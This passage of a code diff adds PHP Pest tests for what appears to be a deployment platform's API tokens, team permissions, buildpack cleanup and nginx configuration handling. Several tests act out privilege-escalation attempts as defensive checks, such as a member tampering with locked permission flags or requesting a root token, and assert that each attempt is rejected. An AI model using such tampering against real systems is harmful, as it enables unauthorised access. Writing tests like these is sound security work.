$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$token->plainTextToken,
|
||||
])->getJson('/api/v1/projects');
|
||||
|
||||
$response->assertStatus(401);
|
||||
});
|
||||
|
||||
test('request with non-expired token works', function () {
|
||||
$token = $this->user->createToken('valid', ['read'], now()->addDay());
|
||||
|
||||
$response = $this->withHeaders([
|
||||
'Authorization' => 'Bearer '.$token->plainTextToken,
|
||||
])->getJson('/api/v1/projects');
|
||||
|
||||
$response->assertStatus(200);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,130 @@
|
||||
<?php
|
||||
|
||||
use App\Jobs\ApiTokenExpirationWarningJob;
|
||||
use App\Models\PersonalAccessToken;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use App\Notifications\ApiTokenExpiringNotification;
|
||||
use Carbon\Carbon;
|
||||
use Illuminate\Contracts\Notifications\Dispatcher;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
use Illuminate\Support\Facades\Notification;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
$this->team->emailNotificationSettings()->update(['use_instance_email_settings' => true]);
|
||||
$this->team->discordNotificationSettings()->update([
|
||||
'discord_enabled' => true,
|
||||
'discord_webhook_url' => 'https://discord.com/api/webhooks/fake/fake',
|
||||
]);
|
||||
|
||||
session(['currentTeam' => $this->team]);
|
||||
$this->actingAs($this->user);
|
||||
|
||||
Cache::flush();
|
||||
Notification::fake();
|
||||
});
|
||||
|
||||
function createTokenExpiring(User $user, Team $team, ?Carbon $expiresAt, ?Carbon $warningSentAt = null): PersonalAccessToken
|
||||
{
|
||||
$plain = $user->createToken('t-'.uniqid(), ['read'], $expiresAt);
|
||||
$token = $plain->accessToken;
|
||||
$token->team_id = $team->id;
|
||||
$token->api_token_expiration_warning_sent_at = $warningSentAt;
|
||||
$token->save();
|
||||
|
||||
return $token->fresh();
|
||||
}
|
||||
|
||||
describe('ApiTokenExpirationWarningJob', function () {
|
||||
test('notifies team when token expires within 24h', function () {
|
||||
$token = createTokenExpiring($this->user, $this->team, now()->addHours(23));
|
||||
|
||||
(new ApiTokenExpirationWarningJob)->handle();
|
||||
|
||||
Notification::assertSentTo($this->team, ApiTokenExpiringNotification::class);
|
||||
expect($token->fresh()->api_token_expiration_warning_sent_at)->not->toBeNull();
|
||||
});
|
||||
|
||||
test('does not mark token as warned when notification fails', function () {
|
||||
$token = createTokenExpiring($this->user, $this->team, now()->addHours(23));
|
||||
$dispatcher = Mockery::mock(Dispatcher::class);
|
||||
$dispatcher->shouldReceive('send')
|
||||
->once()
|
||||
->andThrow(new RuntimeException('Notification failed'));
|
||||
|
||||
$this->app->instance(Dispatcher::class, $dispatcher);
|
||||
|
||||
expect(fn () => (new ApiTokenExpirationWarningJob)->handle())
|
||||
->toThrow(RuntimeException::class, 'Notification failed');
|
||||
|
||||
expect($token->fresh()->api_token_expiration_warning_sent_at)->toBeNull();
|
||||
});
|
||||
|
||||
test('database marker prevents duplicate warnings on repeat runs', function () {
|
||||
createTokenExpiring($this->user, $this->team, now()->addHours(12));
|
||||
|
||||
(new ApiTokenExpirationWarningJob)->handle();
|
||||
(new ApiTokenExpirationWarningJob)->handle();
|
||||
|
||||
Notification::assertSentToTimes($this->team, ApiTokenExpiringNotification::class, 1);
|
||||
});
|
||||
|
||||
test('database marker prevents duplicate warnings after cache is flushed', function () {
|
||||
createTokenExpiring($this->user, $this->team, now()->addHours(12));
|
||||
|
||||
(new ApiTokenExpirationWarningJob)->handle();
|
||||
|
||||
Cache::flush();
|
||||
|
||||
(new ApiTokenExpirationWarningJob)->handle();
|
||||
|
||||
Notification::assertSentToTimes($this->team, ApiTokenExpiringNotification::class, 1);
|
||||
});
|
||||
|
||||
test('skips tokens that already have an expiration warning marker', function () {
|
||||
createTokenExpiring($this->user, $this->team, now()->addHours(12), now()->subHour());
|
||||
|
||||
(new ApiTokenExpirationWarningJob)->handle();
|
||||
|
||||
Notification::assertNothingSent();
|
||||
});
|
||||
|
||||
test('notifies once for each unmarked expiring token', function () {
|
||||
createTokenExpiring($this->user, $this->team, now()->addHours(12));
|
||||
createTokenExpiring($this->user, $this->team, now()->addHours(23));
|
||||
|
||||
(new ApiTokenExpirationWarningJob)->handle();
|
||||
|
||||
Notification::assertSentToTimes($this->team, ApiTokenExpiringNotification::class, 2);
|
||||
});
|
||||
|
||||
test('skips tokens expiring more than 24h out', function () {
|
||||
createTokenExpiring($this->user, $this->team, now()->addDays(3));
|
||||
|
||||
(new ApiTokenExpirationWarningJob)->handle();
|
||||
|
||||
Notification::assertNothingSent();
|
||||
});
|
||||
|
||||
test('skips already-expired tokens', function () {
|
||||
createTokenExpiring($this->user, $this->team, now()->subHour());
|
||||
|
||||
(new ApiTokenExpirationWarningJob)->handle();
|
||||
|
||||
Notification::assertNothingSent();
|
||||
});
|
||||
|
||||
test('skips tokens with null expires_at', function () {
|
||||
createTokenExpiring($this->user, $this->team, null);
|
||||
|
||||
(new ApiTokenExpirationWarningJob)->handle();
|
||||
|
||||
Notification::assertNothingSent();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,97 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Security\ApiTokens;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Livewire\Attributes\Locked;
|
||||
use Livewire\Features\SupportLockedProperties\CannotUpdateLockedPropertyException;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
InstanceSettings::unguarded(fn () => InstanceSettings::query()->create([
|
||||
'id' => 0,
|
||||
'is_api_enabled' => true,
|
||||
]));
|
||||
|
||||
$this->team = Team::factory()->create();
|
||||
});
|
||||
|
||||
test('api token permission flags are locked', function (string $property) {
|
||||
$property = new ReflectionProperty(ApiTokens::class, $property);
|
||||
|
||||
expect($property->getAttributes(Locked::class))->not->toBeEmpty();
|
||||
})->with([
|
||||
'root permission flag' => 'canUseRootPermissions',
|
||||
'write permission flag' => 'canUseWritePermissions',
|
||||
]);
|
||||
|
||||
test('member cannot tamper with root permission flag', function () {
|
||||
$member = User::factory()->create();
|
||||
$this->team->members()->attach($member->id, ['role' => 'member']);
|
||||
|
||||
$this->actingAs($member);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
Livewire::test(ApiTokens::class)
|
||||
->set('canUseRootPermissions', true);
|
||||
})->throws(CannotUpdateLockedPropertyException::class);
|
||||
|
||||
test('member cannot create root token through tampered permissions payload', function () {
|
||||
$member = User::factory()->create();
|
||||
$this->team->members()->attach($member->id, ['role' => 'member']);
|
||||
|
||||
$this->actingAs($member);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
Livewire::test(ApiTokens::class)
|
||||
->set('description', 'pwned-root-token')
|
||||
->set('expiresInDays', 30)
|
||||
->set('permissions', ['root'])
|
||||
->call('addNewToken');
|
||||
|
||||
expect($member->tokens()->count())->toBe(0);
|
||||
});
|
||||
|
||||
test('member can still create read token', function () {
|
||||
$member = User::factory()->create();
|
||||
$this->team->members()->attach($member->id, ['role' => 'member']);
|
||||
|
||||
$this->actingAs($member);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
Livewire::test(ApiTokens::class)
|
||||
->set('description', 'read-token')
|
||||
->set('expiresInDays', 30)
|
||||
->set('permissions', ['read'])
|
||||
->call('addNewToken')
|
||||
->assertHasNoErrors();
|
||||
|
||||
$token = $member->tokens()->latest()->first();
|
||||
|
||||
expect($token)->not->toBeNull()
|
||||
->and($token->abilities)->toBe(['read']);
|
||||
});
|
||||
|
||||
test('owner can create root token', function () {
|
||||
$owner = User::factory()->create();
|
||||
$this->team->members()->attach($owner->id, ['role' => 'owner']);
|
||||
|
||||
$this->actingAs($owner);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
Livewire::test(ApiTokens::class)
|
||||
->set('description', 'root-token')
|
||||
->set('expiresInDays', 30)
|
||||
->set('permissions', ['root'])
|
||||
->call('addNewToken')
|
||||
->assertHasNoErrors();
|
||||
|
||||
$token = $owner->tokens()->latest()->first();
|
||||
|
||||
expect($token)->not->toBeNull()
|
||||
->and($token->abilities)->toBe(['root']);
|
||||
});
|
||||
@@ -0,0 +1,128 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Security\ApiTokens;
|
||||
use App\Livewire\Team\Member;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\Project;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Facades\Hash;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
InstanceSettings::unguarded(fn () => InstanceSettings::query()->updateOrCreate(
|
||||
['id' => 0],
|
||||
['is_api_enabled' => true],
|
||||
));
|
||||
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'admin']);
|
||||
session(['currentTeam' => $this->team]);
|
||||
});
|
||||
|
||||
function bearerJson(string $token): array
|
||||
{
|
||||
return [
|
||||
'Authorization' => 'Bearer '.$token,
|
||||
'Content-Type' => 'application/json',
|
||||
];
|
||||
}
|
||||
|
||||
test('removed member token cannot read team projects', function () {
|
||||
Project::create(['name' => 'Secret', 'team_id' => $this->team->id]);
|
||||
$token = $this->user->createToken('read-token', ['read'])->plainTextToken;
|
||||
|
||||
$this->team->members()->detach($this->user->id);
|
||||
|
||||
$this->withHeaders(bearerJson($token))
|
||||
->getJson('/api/v1/projects')
|
||||
->assertUnauthorized();
|
||||
});
|
||||
|
||||
test('removed member token cannot create team projects', function () {
|
||||
$token = $this->user->createToken('write-token', ['write'])->plainTextToken;
|
||||
|
||||
$this->team->members()->detach($this->user->id);
|
||||
|
||||
$this->withHeaders(bearerJson($token))
|
||||
->postJson('/api/v1/projects', ['name' => 'Should Not Exist'])
|
||||
->assertUnauthorized();
|
||||
|
||||
expect(Project::where('name', 'Should Not Exist')->exists())->toBeFalse();
|
||||
});
|
||||
|
||||
test('downgraded member old write token cannot create team projects', function () {
|
||||
$token = $this->user->createToken('write-token', ['write'])->plainTextToken;
|
||||
|
||||
$this->team->members()->updateExistingPivot($this->user->id, ['role' => 'member']);
|
||||
|
||||
$this->withHeaders(bearerJson($token))
|
||||
->postJson('/api/v1/projects', ['name' => 'Downgrade Bypass'])
|
||||
->assertForbidden();
|
||||
|
||||
expect(Project::where('name', 'Downgrade Bypass')->exists())->toBeFalse();
|
||||
});
|
||||
|
||||
test('admin removal through team member component revokes team tokens', function () {
|
||||
$owner = User::factory()->create();
|
||||
$this->team->members()->attach($owner->id, ['role' => 'owner']);
|
||||
$token = $this->user->createToken('read-token', ['read'])->accessToken;
|
||||
|
||||
$this->actingAs($owner);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
Livewire::test(Member::class, ['member' => $this->user])
|
||||
->call('remove');
|
||||
|
||||
expect(DB::table('personal_access_tokens')->where('id', $token->id)->exists())->toBeFalse();
|
||||
});
|
||||
|
||||
test('role downgrade through team member component revokes team tokens', function () {
|
||||
$owner = User::factory()->create();
|
||||
$this->team->members()->attach($owner->id, ['role' => 'owner']);
|
||||
$token = $this->user->createToken('write-token', ['write'])->accessToken;
|
||||
|
||||
$this->actingAs($owner);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
Livewire::test(Member::class, ['member' => $this->user])
|
||||
->call('makeReadonly');
|
||||
|
||||
expect(DB::table('personal_access_tokens')->where('id', $token->id)->exists())->toBeFalse();
|
||||
});
|
||||
|
||||
test('member cannot create write token through livewire token form', function () {
|
||||
$this->team->members()->updateExistingPivot($this->user->id, ['role' => 'member']);
|
||||
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
Livewire::test(ApiTokens::class)
|
||||
->set('description', 'member-write-token')
|
||||
->set('expiresInDays', 30)
|
||||
->set('permissions', ['write'])
|
||||
->call('addNewToken');
|
||||
|
||||
expect($this->user->tokens()->where('name', 'member-write-token')->exists())->toBeFalse();
|
||||
});
|
||||
|
||||
test('password change revokes user personal access tokens', function () {
|
||||
$token = $this->user->createToken('read-token', ['read'])->accessToken;
|
||||
|
||||
$this->user->forceFill(['password' => Hash::make('new-password')])->save();
|
||||
|
||||
expect(DB::table('personal_access_tokens')->where('id', $token->id)->exists())->toBeFalse();
|
||||
});
|
||||
|
||||
test('team deletion revokes team bound personal access tokens', function () {
|
||||
$token = $this->user->createToken('read-token', ['read'])->accessToken;
|
||||
|
||||
$this->team->delete();
|
||||
|
||||
expect(DB::table('personal_access_tokens')->where('id', $token->id)->exists())->toBeFalse();
|
||||
});
|
||||
@@ -78,26 +78,29 @@ describe('Application Model Buildpack Cleanup', function () {
|
||||
|
||||
// Add environment variables that should be deleted
|
||||
EnvironmentVariable::create([
|
||||
'application_id' => $application->id,
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $application->id,
|
||||
'key' => 'SERVICE_FQDN_APP',
|
||||
'value' => 'app.example.com',
|
||||
'is_build_time' => false,
|
||||
'is_buildtime' => false,
|
||||
'is_preview' => false,
|
||||
]);
|
||||
|
||||
EnvironmentVariable::create([
|
||||
'application_id' => $application->id,
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $application->id,
|
||||
'key' => 'SERVICE_URL_APP',
|
||||
'value' => 'http://app.example.com',
|
||||
'is_build_time' => false,
|
||||
'is_buildtime' => false,
|
||||
'is_preview' => false,
|
||||
]);
|
||||
|
||||
EnvironmentVariable::create([
|
||||
'application_id' => $application->id,
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $application->id,
|
||||
'key' => 'REGULAR_VAR',
|
||||
'value' => 'should_remain',
|
||||
'is_build_time' => false,
|
||||
'is_buildtime' => false,
|
||||
'is_preview' => false,
|
||||
]);
|
||||
|
||||
@@ -117,6 +120,87 @@ describe('Application Model Buildpack Cleanup', function () {
|
||||
expect($application->environment_variables()->where('key', 'REGULAR_VAR')->count())->toBe(1);
|
||||
});
|
||||
|
||||
test('model clears dockerfile fields when build_pack changes from dockerfile to railpack', function () {
|
||||
$team = Team::factory()->create();
|
||||
$project = Project::factory()->create(['team_id' => $team->id]);
|
||||
$environment = Environment::factory()->create(['project_id' => $project->id]);
|
||||
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $environment->id,
|
||||
'build_pack' => 'dockerfile',
|
||||
'dockerfile' => 'FROM node:18',
|
||||
'dockerfile_location' => '/Dockerfile',
|
||||
'dockerfile_target_build' => 'production',
|
||||
'custom_healthcheck_found' => true,
|
||||
]);
|
||||
|
||||
$application->build_pack = 'railpack';
|
||||
$application->save();
|
||||
$application->refresh();
|
||||
|
||||
expect($application->build_pack)->toBe('railpack');
|
||||
expect($application->dockerfile)->toBeNull();
|
||||
expect($application->dockerfile_location)->toBeNull();
|
||||
expect($application->dockerfile_target_build)->toBeNull();
|
||||
expect($application->custom_healthcheck_found)->toBeFalse();
|
||||
});
|
||||
|
||||
test('model clears dockercompose fields when build_pack changes from dockercompose to railpack', function () {
|
||||
$team = Team::factory()->create();
|
||||
$project = Project::factory()->create(['team_id' => $team->id]);
|
||||
$environment = Environment::factory()->create(['project_id' => $project->id]);
|
||||
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $environment->id,
|
||||
'build_pack' => 'dockercompose',
|
||||
'docker_compose_domains' => '{"app": "example.com"}',
|
||||
'docker_compose_raw' => 'version: "3.8"\nservices:\n app:\n image: nginx',
|
||||
]);
|
||||
|
||||
// Add environment variables that should be deleted
|
||||
EnvironmentVariable::create([
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $application->id,
|
||||
'key' => 'SERVICE_FQDN_APP',
|
||||
'value' => 'app.example.com',
|
||||
'is_buildtime' => false,
|
||||
'is_preview' => false,
|
||||
]);
|
||||
|
||||
EnvironmentVariable::create([
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $application->id,
|
||||
'key' => 'SERVICE_URL_APP',
|
||||
'value' => 'http://app.example.com',
|
||||
'is_buildtime' => false,
|
||||
'is_preview' => false,
|
||||
]);
|
||||
|
||||
EnvironmentVariable::create([
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $application->id,
|
||||
'key' => 'REGULAR_VAR',
|
||||
'value' => 'should_remain',
|
||||
'is_buildtime' => false,
|
||||
'is_preview' => false,
|
||||
]);
|
||||
|
||||
$application->build_pack = 'railpack';
|
||||
$application->save();
|
||||
$application->refresh();
|
||||
|
||||
expect($application->build_pack)->toBe('railpack');
|
||||
expect($application->docker_compose_domains)->toBeNull();
|
||||
expect($application->docker_compose_raw)->toBeNull();
|
||||
|
||||
// Verify SERVICE_FQDN_* and SERVICE_URL_* were deleted
|
||||
expect($application->environment_variables()->where('key', 'SERVICE_FQDN_APP')->count())->toBe(0);
|
||||
expect($application->environment_variables()->where('key', 'SERVICE_URL_APP')->count())->toBe(0);
|
||||
|
||||
// Verify regular variables remain
|
||||
expect($application->environment_variables()->where('key', 'REGULAR_VAR')->count())->toBe(1);
|
||||
});
|
||||
|
||||
test('model does not clear dockerfile fields when switching to dockerfile', function () {
|
||||
$team = Team::factory()->create();
|
||||
$project = Project::factory()->create(['team_id' => $team->id]);
|
||||
@@ -156,6 +240,27 @@ describe('Application Model Buildpack Cleanup', function () {
|
||||
expect($application->dockerfile)->toBeNull();
|
||||
});
|
||||
|
||||
test('dockerfile location defaults only for dockerfile buildpack', function () {
|
||||
$team = Team::factory()->create();
|
||||
$project = Project::factory()->create(['team_id' => $team->id]);
|
||||
$environment = Environment::factory()->create(['project_id' => $project->id]);
|
||||
|
||||
$nixpacksApplication = Application::factory()->create([
|
||||
'environment_id' => $environment->id,
|
||||
'build_pack' => 'nixpacks',
|
||||
'dockerfile_location' => null,
|
||||
]);
|
||||
|
||||
$dockerfileApplication = Application::factory()->create([
|
||||
'environment_id' => $environment->id,
|
||||
'build_pack' => 'dockerfile',
|
||||
'dockerfile_location' => null,
|
||||
]);
|
||||
|
||||
expect($nixpacksApplication->refresh()->dockerfile_location)->toBeNull();
|
||||
expect($dockerfileApplication->refresh()->dockerfile_location)->toBe('/Dockerfile');
|
||||
});
|
||||
|
||||
test('model does not trigger cleanup when build_pack is not changed', function () {
|
||||
$team = Team::factory()->create();
|
||||
$project = Project::factory()->create(['team_id' => $team->id]);
|
||||
|
||||
@@ -0,0 +1,101 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\ApplicationDeploymentQueue;
|
||||
use App\Models\Environment;
|
||||
use App\Models\EnvironmentVariable;
|
||||
use App\Models\Project;
|
||||
use App\Models\Team;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Str;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
function configurationChangedTestApplication(array $attributes = []): Application
|
||||
{
|
||||
$team = Team::factory()->create();
|
||||
$project = Project::factory()->create(['team_id' => $team->id]);
|
||||
$environment = Environment::factory()->create(['project_id' => $project->id]);
|
||||
|
||||
return Application::factory()->create(array_merge([
|
||||
'environment_id' => $environment->id,
|
||||
'status' => 'running:healthy',
|
||||
'build_command' => 'npm run build',
|
||||
], $attributes));
|
||||
}
|
||||
|
||||
function configurationChangedDeployment(Application $application): ApplicationDeploymentQueue
|
||||
{
|
||||
return ApplicationDeploymentQueue::create([
|
||||
'application_id' => (string) $application->id,
|
||||
'deployment_uuid' => (string) Str::uuid(),
|
||||
'status' => 'finished',
|
||||
'commit' => 'HEAD',
|
||||
]);
|
||||
}
|
||||
|
||||
it('stores deployment configuration snapshot and clears pending changes', function () {
|
||||
$application = configurationChangedTestApplication();
|
||||
$deployment = configurationChangedDeployment($application);
|
||||
|
||||
$application->markDeploymentConfigurationApplied($deployment);
|
||||
|
||||
expect($deployment->refresh()->configuration_hash)->not->toBeNull()
|
||||
->and($deployment->configuration_snapshot)->toBeArray()
|
||||
->and($application->refresh()->pendingDeploymentConfigurationDiff()->isChanged())->toBeFalse();
|
||||
});
|
||||
|
||||
it('stores a diff between successful deployments', function () {
|
||||
$application = configurationChangedTestApplication();
|
||||
$firstDeployment = configurationChangedDeployment($application);
|
||||
$application->markDeploymentConfigurationApplied($firstDeployment);
|
||||
|
||||
$application->update(['build_command' => 'pnpm build']);
|
||||
$secondDeployment = configurationChangedDeployment($application->refresh());
|
||||
$application->markDeploymentConfigurationApplied($secondDeployment);
|
||||
|
||||
expect($secondDeployment->refresh()->configuration_diff['count'])->toBe(1)
|
||||
->and(data_get($secondDeployment->configuration_diff, 'changes.0.label'))->toBe('Build command');
|
||||
});
|
||||
|
||||
it('checks legacy preview deployment configuration hash using preview environment variable query', function () {
|
||||
$application = configurationChangedTestApplication();
|
||||
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'APP_ENV',
|
||||
'value' => 'preview',
|
||||
'is_preview' => true,
|
||||
'is_multiline' => false,
|
||||
'is_literal' => false,
|
||||
'is_buildtime' => true,
|
||||
'is_runtime' => true,
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $application->id,
|
||||
]);
|
||||
|
||||
$application->forceFill([
|
||||
'config_hash' => 'legacy-hash',
|
||||
'pull_request_id' => 123,
|
||||
]);
|
||||
|
||||
$diff = $application->pendingDeploymentConfigurationDiff();
|
||||
|
||||
expect($diff->isChanged())->toBeTrue()
|
||||
->and($diff->count())->toBeGreaterThan(0);
|
||||
});
|
||||
|
||||
it('falls back to real diff against empty snapshot when no deployment snapshot exists', function () {
|
||||
$application = configurationChangedTestApplication();
|
||||
$application->isConfigurationChanged(save: true);
|
||||
|
||||
expect($application->refresh()->pendingDeploymentConfigurationDiff()->isChanged())->toBeFalse();
|
||||
|
||||
$application->update(['build_command' => 'pnpm build']);
|
||||
|
||||
$diff = $application->refresh()->pendingDeploymentConfigurationDiff();
|
||||
|
||||
expect($diff->isChanged())->toBeTrue()
|
||||
->and($diff->isLegacyFallback())->toBeFalse()
|
||||
->and($diff->count())->toBeGreaterThan(0)
|
||||
->and(collect($diff->changes())->pluck('label')->toArray())->toContain('Build command');
|
||||
});
|
||||
@@ -0,0 +1,150 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\StandaloneDocker;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\DB;
|
||||
use Illuminate\Support\Str;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
InstanceSettings::unguarded(fn () => InstanceSettings::firstOrCreate(['id' => 0]));
|
||||
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$plainTextToken = Str::random(40);
|
||||
$token = $this->user->tokens()->create([
|
||||
'name' => 'custom-nginx-api-test-'.Str::random(6),
|
||||
'token' => hash('sha256', $plainTextToken),
|
||||
'abilities' => ['*'],
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
$this->bearerToken = $token->getKey().'|'.$plainTextToken;
|
||||
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->destination = StandaloneDocker::where('server_id', $this->server->id)->first();
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
});
|
||||
|
||||
function customNginxApiHeaders(string $bearerToken): array
|
||||
{
|
||||
return [
|
||||
'Authorization' => 'Bearer '.$bearerToken,
|
||||
'Content-Type' => 'application/json',
|
||||
];
|
||||
}
|
||||
|
||||
function customNginxConfig(): string
|
||||
{
|
||||
return <<<'NGINX'
|
||||
server {
|
||||
listen 80;
|
||||
location / {
|
||||
try_files $uri $uri/ /index.html;
|
||||
}
|
||||
}
|
||||
NGINX;
|
||||
}
|
||||
|
||||
function makeCustomNginxApplication(array $overrides = []): Application
|
||||
{
|
||||
return Application::factory()->create(array_merge([
|
||||
'environment_id' => test()->environment->id,
|
||||
'destination_id' => test()->destination->id,
|
||||
'destination_type' => test()->destination->getMorphClass(),
|
||||
'build_pack' => 'static',
|
||||
], $overrides));
|
||||
}
|
||||
|
||||
describe('PATCH /api/v1/applications/{uuid} custom_nginx_configuration', function () {
|
||||
test('decodes base64 custom nginx configuration before storing it', function () {
|
||||
$application = makeCustomNginxApplication();
|
||||
$configuration = customNginxConfig();
|
||||
$encodedConfiguration = base64_encode($configuration);
|
||||
|
||||
$response = $this->withHeaders(customNginxApiHeaders($this->bearerToken))
|
||||
->patchJson("/api/v1/applications/{$application->uuid}", [
|
||||
'custom_nginx_configuration' => $encodedConfiguration,
|
||||
]);
|
||||
|
||||
$response->assertOk();
|
||||
|
||||
$application->refresh();
|
||||
expect($application->custom_nginx_configuration)->toBe($configuration);
|
||||
|
||||
$storedConfiguration = DB::table('applications')
|
||||
->where('id', $application->id)
|
||||
->value('custom_nginx_configuration');
|
||||
|
||||
expect($storedConfiguration)->toBe(base64_encode($configuration));
|
||||
|
||||
$this->withHeaders(customNginxApiHeaders($this->bearerToken))
|
||||
->getJson("/api/v1/applications/{$application->uuid}")
|
||||
->assertOk()
|
||||
->assertJsonPath('custom_nginx_configuration', $configuration);
|
||||
});
|
||||
|
||||
test('rejects custom nginx configuration that is not base64 encoded', function () {
|
||||
$application = makeCustomNginxApplication();
|
||||
|
||||
$response = $this->withHeaders(customNginxApiHeaders($this->bearerToken))
|
||||
->patchJson("/api/v1/applications/{$application->uuid}", [
|
||||
'custom_nginx_configuration' => customNginxConfig(),
|
||||
]);
|
||||
|
||||
$response->assertUnprocessable()
|
||||
->assertJsonPath('errors.custom_nginx_configuration', 'The custom_nginx_configuration should be base64 encoded.');
|
||||
});
|
||||
|
||||
test('can clear custom nginx configuration with null', function () {
|
||||
$application = makeCustomNginxApplication([
|
||||
'custom_nginx_configuration' => customNginxConfig(),
|
||||
]);
|
||||
|
||||
$response = $this->withHeaders(customNginxApiHeaders($this->bearerToken))
|
||||
->patchJson("/api/v1/applications/{$application->uuid}", [
|
||||
'custom_nginx_configuration' => null,
|
||||
]);
|
||||
|
||||
$response->assertOk();
|
||||
|
||||
$application->refresh();
|
||||
expect($application->custom_nginx_configuration)->toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
describe('POST /api/v1/applications/public custom_nginx_configuration', function () {
|
||||
test('decodes base64 custom nginx configuration before storing it on create', function () {
|
||||
$configuration = customNginxConfig();
|
||||
|
||||
$response = $this->withHeaders(customNginxApiHeaders($this->bearerToken))
|
||||
->postJson('/api/v1/applications/public', [
|
||||
'project_uuid' => $this->project->uuid,
|
||||
'environment_uuid' => $this->environment->uuid,
|
||||
'server_uuid' => $this->server->uuid,
|
||||
'git_repository' => 'https://gitlab.com/coolify/test-static-app',
|
||||
'git_branch' => 'main',
|
||||
'build_pack' => 'static',
|
||||
'ports_exposes' => '80',
|
||||
'custom_nginx_configuration' => base64_encode($configuration),
|
||||
'autogenerate_domain' => false,
|
||||
]);
|
||||
|
||||
$response->assertCreated();
|
||||
|
||||
$application = Application::where('uuid', $response->json('uuid'))->firstOrFail();
|
||||
|
||||
expect($application->custom_nginx_configuration)->toBe($configuration);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,509 @@
|
||||
<?php
|
||||
|
||||
use App\Jobs\ApplicationDeploymentJob;
|
||||
use App\Models\Application;
|
||||
use App\Models\ApplicationDeploymentQueue;
|
||||
use App\Models\ApplicationPreview;
|
||||
use App\Models\Environment;
|
||||
use App\Models\EnvironmentVariable;
|
||||
use App\Models\Project;
|
||||
use App\Models\Server;
|
||||
use App\Models\Team;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Collection;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
class TestableControlVarFilteringDeploymentJob extends ApplicationDeploymentJob
|
||||
{
|
||||
public array $recordedCommands = [];
|
||||
|
||||
public ?string $writtenDockerfile = null;
|
||||
|
||||
public function __construct() {}
|
||||
|
||||
public function execute_remote_command(...$commands)
|
||||
{
|
||||
$this->recordedCommands[] = $commands;
|
||||
|
||||
foreach ($commands as $command) {
|
||||
$commandString = is_array($command) ? ($command['command'] ?? $command[0] ?? null) : $command;
|
||||
|
||||
if (! is_string($commandString)) {
|
||||
continue;
|
||||
}
|
||||
|
||||
if (preg_match('/echo .*?([A-Za-z0-9+\\/=]{16,}).*?\\| base64 -d \\| tee \\/artifacts\\/test-app\\/Dockerfile > \\/dev\\/null/', $commandString, $matches) === 1) {
|
||||
$this->writtenDockerfile = base64_decode($matches[1]) ?: null;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function makeDeploymentControlVarFixture(array $applicationAttributes = []): array
|
||||
{
|
||||
$team = Team::create([
|
||||
'name' => 'Control Var Team',
|
||||
'description' => 'Team for deployment control var tests.',
|
||||
'personal_team' => false,
|
||||
'show_boarding' => false,
|
||||
]);
